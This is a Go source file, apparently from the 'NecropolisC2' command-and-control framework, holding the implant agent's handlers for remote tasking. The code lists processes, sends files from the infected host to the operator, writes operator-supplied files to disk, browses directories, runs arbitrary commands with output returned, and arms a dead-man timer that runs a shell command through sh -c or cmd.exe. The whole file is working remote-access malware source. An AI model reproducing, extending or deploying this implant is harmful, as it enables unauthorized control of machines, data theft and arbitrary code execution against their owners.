318 lines
8.4 KiB
Go
318 lines
8.4 KiB
Go
package core
|
|
|
|
import (
|
|
"encoding/json"
|
|
"errors"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"time"
|
|
|
|
"google.golang.org/protobuf/proto"
|
|
|
|
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
|
|
cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
|
|
"github.com/Yenn503/NecropolisC2/pkg/transport"
|
|
)
|
|
|
|
func (a *Agent) sendError(msgType uint32, errMsg string) {
|
|
errResp := &cpb.Response{Err: 1, ErrMsg: errMsg}
|
|
errData, _ := proto.Marshal(errResp)
|
|
a.sendResult(msgType, errData)
|
|
}
|
|
|
|
func (a *Agent) sendResult(resultType uint32, data []byte) {
|
|
env := a.messenger.CreateEnvelope(resultType, data)
|
|
|
|
a.connectedMu.Lock()
|
|
connected := a.connected
|
|
opID := a.messenger.OperatorID()
|
|
a.connectedMu.Unlock()
|
|
|
|
if connected {
|
|
if err := a.sendEnvelopeDirect(opID, env); err != nil {
|
|
log.Printf("[implant] direct result failed, fallback pubsub: %v", err)
|
|
} else {
|
|
return
|
|
}
|
|
}
|
|
|
|
topic := a.messenger.BeaconTopic()
|
|
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
|
|
log.Printf("[implant] send result: %v", err)
|
|
}
|
|
}
|
|
|
|
func (a *Agent) handlePs(env *apb.Envelope) {
|
|
result := &apb.Z13{}
|
|
result.Processes = listProcesses()
|
|
data, _ := proto.Marshal(result)
|
|
log.Printf("[implant] ps result: %d processes", len(result.Processes))
|
|
a.sendResult(transport.MsgTypePs, data)
|
|
}
|
|
|
|
func (a *Agent) handleDownload(env *apb.Envelope) {
|
|
req := &apb.Z22{}
|
|
if err := proto.Unmarshal(env.Data, req); err != nil {
|
|
a.sendError(transport.MsgTypeDownload, fmt.Sprintf("unmarshal: %v", err))
|
|
return
|
|
}
|
|
|
|
result := &apb.Z23{Path: req.Path}
|
|
fi, err := os.Stat(req.Path)
|
|
if err != nil {
|
|
result.Exists = false
|
|
respData, _ := proto.Marshal(result)
|
|
a.sendResult(transport.MsgTypeDownload, respData)
|
|
return
|
|
}
|
|
const maxDownloadSize = 100 << 20 // 100MB
|
|
if fi.Size() > maxDownloadSize {
|
|
result.Exists = true
|
|
result.Response = &cpb.Response{Err: 1, ErrMsg: "file too large"}
|
|
respData, _ := proto.Marshal(result)
|
|
log.Printf("[implant] download %s: too large (%d bytes)", req.Path, fi.Size())
|
|
a.sendResult(transport.MsgTypeDownload, respData)
|
|
return
|
|
}
|
|
data, err := os.ReadFile(req.Path)
|
|
if err != nil {
|
|
result.Exists = false
|
|
} else {
|
|
result.Exists = true
|
|
result.Data = data
|
|
}
|
|
|
|
respData, _ := proto.Marshal(result)
|
|
log.Printf("[implant] download %s: %d bytes", req.Path, len(data))
|
|
a.sendResult(transport.MsgTypeDownload, respData)
|
|
}
|
|
|
|
// whole file in one proto message works for the 100MB cap. For larger files,
|
|
// swap to chunked streaming with a WriteAt loop and per-chunk acks.
|
|
func (a *Agent) handleUpload(env *apb.Envelope) {
|
|
req := &apb.Z24{}
|
|
if err := proto.Unmarshal(env.Data, req); err != nil {
|
|
a.sendError(transport.MsgTypeUpload, fmt.Sprintf("unmarshal: %v", err))
|
|
return
|
|
}
|
|
|
|
const maxUploadSize = 100 << 20
|
|
if len(req.Data) > maxUploadSize {
|
|
log.Printf("[implant] upload %s: too large (%d bytes)", req.Path, len(req.Data))
|
|
result := &apb.Z25{
|
|
Path: req.Path,
|
|
Response: &cpb.Response{Err: 1, ErrMsg: "file too large"},
|
|
}
|
|
respData, _ := proto.Marshal(result)
|
|
a.sendResult(transport.MsgTypeUpload, respData)
|
|
return
|
|
}
|
|
|
|
result := &apb.Z25{Path: req.Path}
|
|
perm := os.FileMode(0644)
|
|
if req.Overwrite {
|
|
if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
|
|
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
|
} else {
|
|
result.BytesWritten = int32(len(req.Data))
|
|
}
|
|
} else {
|
|
if _, err := os.Stat(req.Path); err == nil {
|
|
result.Response = &cpb.Response{Err: 1, ErrMsg: "file already exists"}
|
|
} else if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
|
|
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
|
} else {
|
|
result.BytesWritten = int32(len(req.Data))
|
|
}
|
|
}
|
|
|
|
respData, _ := proto.Marshal(result)
|
|
log.Printf("[implant] upload %s: %d bytes", req.Path, len(req.Data))
|
|
a.sendResult(transport.MsgTypeUpload, respData)
|
|
}
|
|
|
|
func (a *Agent) handleScreenshot(env *apb.Envelope) {
|
|
log.Printf("[implant] screenshot requested (not implemented on this platform)")
|
|
result := &apb.Z3{
|
|
Response: &cpb.Response{Err: 1, ErrMsg: "screenshot not implemented on this platform"},
|
|
}
|
|
data, _ := proto.Marshal(result)
|
|
a.sendResult(transport.MsgTypeScreenshot, data)
|
|
}
|
|
|
|
func (a *Agent) handleCd(env *apb.Envelope) {
|
|
req := &apb.Z19{}
|
|
if err := proto.Unmarshal(env.Data, req); err != nil {
|
|
a.sendError(transport.MsgTypeCd, fmt.Sprintf("unmarshal: %v", err))
|
|
return
|
|
}
|
|
|
|
result := &apb.Z21{}
|
|
if err := os.Chdir(req.Path); err != nil {
|
|
result.Path = req.Path
|
|
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
|
} else {
|
|
result.Path, _ = os.Getwd()
|
|
}
|
|
|
|
data, _ := proto.Marshal(result)
|
|
log.Printf("[implant] cd %s -> %s", req.Path, result.Path)
|
|
a.sendResult(transport.MsgTypeCd, data)
|
|
}
|
|
|
|
func (a *Agent) handlePwd(env *apb.Envelope) {
|
|
result := &apb.Z21{}
|
|
result.Path, _ = os.Getwd()
|
|
|
|
data, _ := proto.Marshal(result)
|
|
log.Printf("[implant] pwd: %s", result.Path)
|
|
a.sendResult(transport.MsgTypePwd, data)
|
|
}
|
|
|
|
func (a *Agent) handleKill(env *apb.Envelope) {
|
|
log.Printf("[implant] kill received, shutting down")
|
|
buf := make([]byte, 4096)
|
|
n := runtime.Stack(buf, false)
|
|
log.Printf("[implant] kill stack:\n%s", string(buf[:n]))
|
|
a.sendResult(transport.MsgTypeKill, nil)
|
|
time.Sleep(100 * time.Millisecond)
|
|
os.Exit(0)
|
|
}
|
|
|
|
func (a *Agent) handleDeadMan(env *apb.Envelope) {
|
|
var msg struct {
|
|
Command string `json:"command"`
|
|
Timeout int `json:"timeout_seconds"`
|
|
}
|
|
if err := json.Unmarshal(env.Data, &msg); err != nil {
|
|
return
|
|
}
|
|
|
|
a.deadManCmd = msg.Command
|
|
a.deadManTimeout = time.Duration(msg.Timeout) * time.Second
|
|
|
|
if a.deadManTimer != nil {
|
|
a.deadManTimer.Stop()
|
|
}
|
|
if a.deadManCmd == "" || a.deadManTimeout <= 0 {
|
|
a.deadManTimer = nil
|
|
return
|
|
}
|
|
|
|
a.deadManTimer = time.AfterFunc(a.deadManTimeout, func() {
|
|
var cmd *exec.Cmd
|
|
if runtime.GOOS == "windows" {
|
|
cmd = exec.Command("cmd.exe", "/c", a.deadManCmd)
|
|
} else {
|
|
cmd = exec.Command("sh", "-c", a.deadManCmd)
|
|
}
|
|
cmd.Run()
|
|
})
|
|
}
|
|
|
|
func (a *Agent) handleLs(env *apb.Envelope) {
|
|
req := &apb.Z16{}
|
|
if err := proto.Unmarshal(env.Data, req); err != nil {
|
|
a.sendError(transport.MsgTypeLs, fmt.Sprintf("unmarshal: %v", err))
|
|
return
|
|
}
|
|
|
|
result := &apb.Z17{Path: req.Path}
|
|
fi, err := os.Stat(req.Path)
|
|
if err != nil {
|
|
result.Exists = false
|
|
} else {
|
|
result.Exists = true
|
|
if fi.IsDir() {
|
|
entries, err := os.ReadDir(req.Path)
|
|
if err != nil {
|
|
result.Exists = false
|
|
} else {
|
|
for _, e := range entries {
|
|
info, _ := e.Info()
|
|
entry := &apb.Z18{
|
|
Name: e.Name(),
|
|
IsDir: e.IsDir(),
|
|
}
|
|
if e.Type()&os.ModeSymlink != 0 {
|
|
link, _ := os.Readlink(filepath.Join(req.Path, e.Name()))
|
|
entry.Link = link
|
|
}
|
|
if info != nil {
|
|
entry.Size = info.Size()
|
|
entry.ModTime = info.ModTime().Unix()
|
|
entry.Mode = info.Mode().String()
|
|
}
|
|
result.Files = append(result.Files, entry)
|
|
}
|
|
}
|
|
} else {
|
|
entry := &apb.Z18{
|
|
Name: fi.Name(),
|
|
IsDir: false,
|
|
Size: fi.Size(),
|
|
ModTime: fi.ModTime().Unix(),
|
|
Mode: fi.Mode().String(),
|
|
}
|
|
if fi.Mode()&os.ModeSymlink != 0 {
|
|
link, _ := os.Readlink(req.Path)
|
|
entry.Link = link
|
|
}
|
|
result.Files = append(result.Files, entry)
|
|
}
|
|
}
|
|
|
|
data, _ := proto.Marshal(result)
|
|
log.Printf("[implant] ls %s: %d entries", req.Path, len(result.Files))
|
|
a.sendResult(transport.MsgTypeLs, data)
|
|
}
|
|
|
|
func (a *Agent) handleExecute(env *apb.Envelope) {
|
|
req := &apb.Z14{}
|
|
if err := proto.Unmarshal(env.Data, req); err != nil {
|
|
a.sendError(transport.MsgTypeExecute, fmt.Sprintf("unmarshal: %v", err))
|
|
return
|
|
}
|
|
|
|
result := &apb.Z15{}
|
|
if req.Output {
|
|
cmd := exec.CommandContext(a.ctx, req.Path, req.Args...)
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
var exitErr *exec.ExitError
|
|
if errors.As(err, &exitErr) {
|
|
result.Status = uint32(exitErr.ExitCode())
|
|
} else {
|
|
result.Status = 1
|
|
}
|
|
result.Stderr = []byte(err.Error())
|
|
}
|
|
result.Stdout = out
|
|
} else {
|
|
cmd := exec.Command(req.Path, req.Args...)
|
|
cmd.Stdout = io.Discard
|
|
cmd.Stderr = io.Discard
|
|
if err := cmd.Start(); err != nil {
|
|
var exitErr *exec.ExitError
|
|
if errors.As(err, &exitErr) {
|
|
result.Status = uint32(exitErr.ExitCode())
|
|
} else {
|
|
result.Status = 1
|
|
}
|
|
result.Stderr = []byte(err.Error())
|
|
} else {
|
|
result.Pid = uint32(cmd.Process.Pid)
|
|
go cmd.Wait()
|
|
}
|
|
}
|
|
|
|
data, _ := proto.Marshal(result)
|
|
log.Printf("[implant] execute %s: exit=%d stdout=%d", req.Path, result.Status, len(result.Stdout))
|
|
a.sendResult(transport.MsgTypeExecute, data)
|
|
}
|